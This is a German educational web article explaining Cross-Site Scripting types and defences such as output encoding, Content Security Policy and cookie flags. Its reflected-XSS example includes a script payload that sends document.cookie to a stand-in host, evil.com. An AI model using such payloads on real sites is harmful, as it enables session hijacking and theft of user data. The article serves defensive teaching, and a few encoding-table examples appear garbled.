XSS (Cross-Site Scripting) ist eine der verbreitetsten und gefaehrlichsten Sicherheitsluecken im Web. Bei einem XSS-Angriff schleust ein Angreifer schadhaften JavaScript-Code in eine vertrauenswuerdige Website ein. Dieser Code wird im Browser anderer Nutzer ausgefuehrt — mit vollem Zugriff auf deren Session, Cookies und die angezeigte Seite.
XSS belegt durchgehend einen Spitzenplatz in der OWASP Top 10 und ist neben CSRF eine der haeufigsten Angriffsarten auf Webanwendungen. Das Verstaendnis von XSS ist fuer jeden, der Webdesign oder Webentwicklung betreibt, essentiell.
Die drei XSS-Typen
Reflected XSS (Typ 1)
Der Schadcode wird in einer URL oder einem Formularparameter versteckt und vom Server in der Antwort "reflektiert". Der Nutzer muss den manipulierten Link anklicken.
Beispiel: Eine Suchseite zeigt den Suchbegriff in der Ergebnisseite an. Wenn der Suchbegriff nicht escaped wird, kann ein Angreifer JavaScript einschleusen:
https://example.com/suche?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Stored XSS (Typ 2)
Der Schadcode wird dauerhaft auf dem Server gespeichert — zum Beispiel in einem Kommentar, einem Forenbeitrag oder einem Nutzerprofil. Jeder Nutzer, der die betroffene Seite aufruft, fuehrt den Schadcode aus. Stored XSS ist der gefaehrlichste Typ, da er ohne Zutun des Opfers funktioniert.
DOM-based XSS (Typ 3)
Der Schadcode wird nie an den Server gesendet. Stattdessen manipuliert er das DOM (Document Object Model) direkt im Browser, typischerweise ueber unsichere JavaScript-Operationen wie innerHTML, document.write oder eval.
| Typ | Serverseitig | Dauerhaft | Verbreitung |
|---|---|---|---|
| Reflected | Ja | Nein | Hoch |
| Stored | Ja | Ja | Mittel |
| DOM-based | Nein | Nein | Steigend |
Was ein Angreifer mit XSS erreichen kann
- Session Hijacking: Session-Cookies stehlen und die Sitzung uebernehmen
- Phishing: Ein gefaelschtes Login-Formular auf der vertrauenswuerdigen Domain anzeigen
- Keylogging: Tastatureingaben mitschneiden (Passwoerter, Kreditkartendaten)
- Defacement: Die Seite visuell veraendern
- Malware-Verbreitung: Drive-by-Downloads ausloesen
- Kamera/Mikrofon: Berechtigungen anfordern (der Nutzer vertraut der Domain)
Schutzmassnahmen
Output-Encoding (Escaping)
Die wichtigste Massnahme: Alle nutzerkontrollierten Daten muessen vor der Ausgabe escaped werden. Je nach Kontext unterschiedlich:
| Kontext | Encoding | Beispiel |
|---|---|---|
| HTML-Body | HTML Entity Encoding | < wird zu < |
| HTML-Attribut | Attribut-Encoding | " wird zu " |
| JavaScript | JavaScript-Encoding | ' wird zu \x27 |
| URL | URL-Encoding | < wird zu %3C |
| CSS | CSS-Encoding | Backslash-Encoding |
Content Security Policy (CSP)
Eine Content Security Policy definiert, welche Quellen fuer Scripts, Styles und andere Ressourcen erlaubt sind. Inline-Scripts koennen vollstaendig verboten werden, was die meisten XSS-Angriffe unwirksam macht.
Input-Validierung
Eingaben sollten serverseitig validiert werden:
- Typ pruefen (Zahl, E-Mail, URL)
- Laenge begrenzen
- Whitelisting statt Blacklisting (erlaubte Zeichen definieren, nicht verbotene)
- HTML-Tags in Nutzereingaben nicht erlauben oder mit einem Sanitizer bereinigen
HttpOnly und Secure Cookies
HttpOnly: Cookie ist nicht per JavaScript auslesbar — schuetzt vor Cookie-DiebstahlSecure: Cookie wird nur ueber HTTPS gesendetSameSite: Zusaetzlicher Schutz gegen CSRF-Angriffe
XSS-Schutz in React und Next.js
React bietet eingebauten XSS-Schutz:
- Automatisches Escaping: Alle Werte in JSX werden automatisch escaped
- dangerouslySetInnerHTML: Der explizite Name warnt vor dem Risiko — nur verwenden, wenn die Quelle vertrauenswuerdig ist und der HTML-Code sanitized wurde
- Server Components: In Next.js reduzieren Server Components die Client-seitige Angriffsflaeche
Trotzdem wachsam bleiben
Auch in React sind XSS-Angriffe moeglich:
dangerouslySetInnerHTMLmit unsanitized Inputhref-Attribut mitjavascript:-URLs- Server-seitiges Rendering mit unsanitized HTML
- Third-Party-Libraries, die DOM direkt manipulieren
XSS und andere Sicherheitsmassnahmen
XSS-Schutz ist Teil eines umfassenden Sicherheitskonzepts:
- Content Security Policy: Verhindert die Ausfuehrung von Inline-Scripts
- CORS: Kontrolliert Cross-Origin-Zugriffe
- CSRF-Tokens: XSS kann CSRF-Tokens auslesen — daher muessen beide Luecken geschlossen werden
- Subresource Integrity (SRI): Stellt sicher, dass externe Scripts nicht manipuliert wurden
XSS-Praevention beginnt bei der Architektur und muss in jedem Schritt der Entwicklung beruecksichtigt werden — von der Dateneingabe ueber die Verarbeitung bis zur Ausgabe. Fuer jedes Webdesign-Projekt ist ein grundlegendes Verstaendnis von XSS unverzichtbar.